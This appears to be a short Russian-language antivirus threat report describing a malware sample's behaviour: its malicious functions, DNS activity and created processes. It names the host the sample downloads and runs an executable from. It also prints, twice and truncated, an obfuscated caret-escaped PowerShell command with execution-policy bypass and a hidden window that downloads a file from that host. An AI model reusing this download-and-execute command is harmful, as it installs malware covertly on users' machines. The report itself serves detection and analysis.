Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POW^ERshe^L^l.e^xe -exe^c^UT^io^N^pOLicy B^ypaS^s -n^O^pr^oF^il^e -^W^i^n^DO^WSTyL^e^ h^iD^dE^n (nEW^-o^b^J^ec^T^ S^ysTem.^NE^T^.weBcL^iEnT).^DOwnl^oadFilE('http://mondayhel...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POW^ERshe^L^l.e^xe -exe^c^UT^io^N^pOLicy B^ypaS^s -n^O^pr^oF^il^e -^W^i^n^DO^WSTyL^e^ h^iD^dE^n (nEW^-o^b^J^ec^T^ S^ysTem.^NE^T^.weBcL^iEnT).^DOwnl^oadFilE('http://mondayhel...' (со скрытым окном)
